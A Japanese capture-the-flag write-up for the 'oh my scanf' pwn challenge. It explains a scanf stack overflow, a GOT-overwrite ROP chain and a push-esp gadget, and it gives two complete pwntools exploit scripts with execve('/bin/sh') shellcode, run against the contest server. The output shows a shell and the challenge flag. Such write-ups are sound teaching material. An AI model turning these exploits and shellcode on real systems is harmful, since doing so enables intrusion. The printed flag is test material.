oh my scanf
問題
This is my first program.
oh_my_scanf.c oh_my_scanf
メモ
- nameからsaved-ebpまで24バイト
解法1
stack protectorもスタックのNXビットも無効になっているが,ASLRが有効。 いかにしてスタックに配置したシェルコードを実行するかが第一の問題である。
さらに,使用しているのがscanfであるためisspaceで空白とみなされる文字は使用できない。 09 0a 0b 0c 0d 20 (1cも?)を使用せずに入力を作成しなければならない。
まず試すのはReturn-to-registerであるが,利用できそうな命令列は発見できなかった。
最終的には以下のROPによりスタック上の命令列の実行を行った。
まずscanfにより任意のアドレスの書き換えが可能である。 scanfによってscanfのGOT書き換える。eaxにジャンプできる80484afを設定する。
80484af: ff d0 call *%eax
その後804850bにジャンプして,eaxにスタック上のアドレスをロードしてscanfを呼び出す。
80484f7: 8d 44 24 10 lea 0x10(%esp),%eax 80484fb: 89 44 24 04 mov %eax,0x4(%esp) 80484ff: c7 04 24 c7 85 04 08 movl $0x80485c7,(%esp) # 80485c7="%s"...; 8048506: e8 a5 fe ff ff call 80483b0 <__isoc99_scanf@plt>
なお,この直後に同様にprintfも同様に利用できそうな場所があるが, アドレスに0cが含まれておりscanfが文字列を切ってしまうので使用できない。
1 import sys
2 from pwn import *
3 context(arch = 'i386', os = 'linux')
4
5 EXPORT_INPUT = False
6
7 call_eax = 0x80484af;
8
9 rop = ""
10 rop += p32(0x80483b0) # scanf
11 rop += p32(0x804858e) # skip 2 words
12 rop += p32(0x80485c7) # "%s"
13 rop += p32(0x804a008) # GOT.scanf - 4*5 # 0x1c terminates a token?
14
15 rop += p32(0x80484f7) # eax=name; scanf
16
17 shellcode = ""
18 shellcode += asm("xor ecx, ecx") # arg2
19 shellcode += asm("xor edx, edx") # arg3
20 shellcode += asm("push `/sh`")
21 shellcode += asm("push `/bin`")
22 shellcode += asm("mov ebx, esp") # arg1
23 shellcode += asm("xor eax, eax")
24 shellcode += asm("mov al, SYS_execve-3")
25 shellcode += asm("add al, 3")
26 shellcode += asm("int 0x80")
27
28 s = "A"*28
29 s += rop
30 s += "A"*16
31 s += shellcode
32
33 if EXPORT_INPUT:
34 sys.stdout.write(s + "\n")
35 sys.stdout.write(p32(call_eax)*6 + "\n")
36 exit(0)
37
38 print hexii(s)
39
40 #conn = process("./oh_my_scanf")
41 conn = remote("pwnable.katsudon.org", 32100)
42 conn.recvuntil(' ')
43 conn.send(s + "\n")
44 conn.send(p32(call_eax)*6 + "\n")
45
46 sys.stdout.write(conn.recvline())
47 conn.interactive()
% python exploit.py 00000000 .A .A .A .A .A .A .A .A .A .A .A .A .A .A .A .A | 00000010 .A .A .A .A .A .A .A .A .A .A .A .A b0 83 04 08 | 00000020 8e 85 04 08 c7 85 04 08 08 a0 04 08 f7 84 04 08 | 00000030 .A .A .A .A .A .A .A .A .A .A .A .A .A .A .A .A | 00000040 .1 c9 .1 d2 .h ./ .s .h .h ./ .b .i .n 89 e3 | 00000050 .1 c0 b0 08 04 03 cd 80 | 00000058 [+] Opening connection to pwnable.katsudon.org on port 32100: OK hi, AAAAAAAAAAAAAAAAAAAAAAAAAAAA\xb0\x83\x0\x8e\x85\x0Dž\x\xa0\x0��AAAAAAAAAAAAAAA A1�1�h/sh [*] Switching to interactive mode $ ls flag $ cat flag ADCTF_Sc4NF_IS_PRe77Y_niCE $
解法2
32bitのASLRはたかが知れているので力づくで回避。 NOPスレッドを3072バイトくらい置いてからシェルコードを配置すると,一応ローカルでは数千回に一回くらいは攻撃に成功する。
だが14日のサーバの悲鳴と「サーバにやさしい問題をつくろう」宣言を見れば,こんなのが正攻法なわけはない。
解法3
多分これが正攻法。0x80483e0にpush rsp; ...; retを実現するガジェットが存在した。
80483e0: ff f4 push %rsp 80483e2: 66 90 xchg %ax,%ax ... 80483f0: 8b 1c 24 mov (%esp),%ebx 80483f3: c3 ret
これを利用すれば,直ちにスタック上に実行位置が移る。
1 from pwn import *
2 context(arch = 'i386', os = 'linux')
3
4 EXPORT_INPUT = False
5
6 shellcode = ""
7 shellcode += asm("xor ecx, ecx") # arg2
8 shellcode += asm("xor edx, edx") # arg3
9 shellcode += asm("push `/sh`")
10 shellcode += asm("push `/bin`")
11 shellcode += asm("mov ebx, esp") # arg1
12 shellcode += asm("xor eax, eax")
13 shellcode += asm("mov al, SYS_execve-3")
14 shellcode += asm("add al, 3")
15 shellcode += asm("int 0x80")
16
17 s = "A"*28
18 s += p32(0x80483e0) # push rsp; ...; ret
19 s += shellcode
20
21 if EXPORT_INPUT:
22 sys.stdout.write(s + "\n")
23 exit(0)
24
25 print hexii(s)
26
27 #conn = process("./oh_my_scanf")
28 conn = remote("pwnable.katsudon.org", 32100)
29 conn.recvuntil(' ')
30 conn.send(s + "\n")
31
32 sys.stdout.write(conn.recvline())
33 conn.interactive()
% python exploit-v2.py 00000000 .A .A .A .A .A .A .A .A .A .A .A .A .A .A .A .A | 00000010 .A .A .A .A .A .A .A .A .A .A .A .A e0 83 04 08 | 00000020 .1 c9 .1 d2 .h ./ .s .h .h ./ .b .i .n 89 e3 | 00000030 .1 c0 b0 08 04 03 cd 80 | 00000038 [+] Opening connection to pwnable.katsudon.org on port 32100: OK hi, AAAAAAAAAAAAAAAAAAAAAAAAAAAA��1�1�h/sh [*] Switching to interactive mode $ cat flag ADCTF_Sc4NF_IS_PRe77Y_niCE